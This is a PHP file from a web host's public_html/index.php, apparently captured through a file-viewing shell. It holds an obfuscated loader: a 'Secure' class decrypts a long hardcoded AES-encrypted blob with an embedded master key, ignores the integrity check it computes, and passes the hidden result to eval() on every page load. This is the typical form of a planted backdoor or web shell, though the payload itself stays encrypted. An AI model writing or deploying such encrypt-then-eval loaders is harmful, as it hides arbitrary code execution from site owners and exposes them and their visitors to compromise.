Current File : /home/obaba/public_html/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);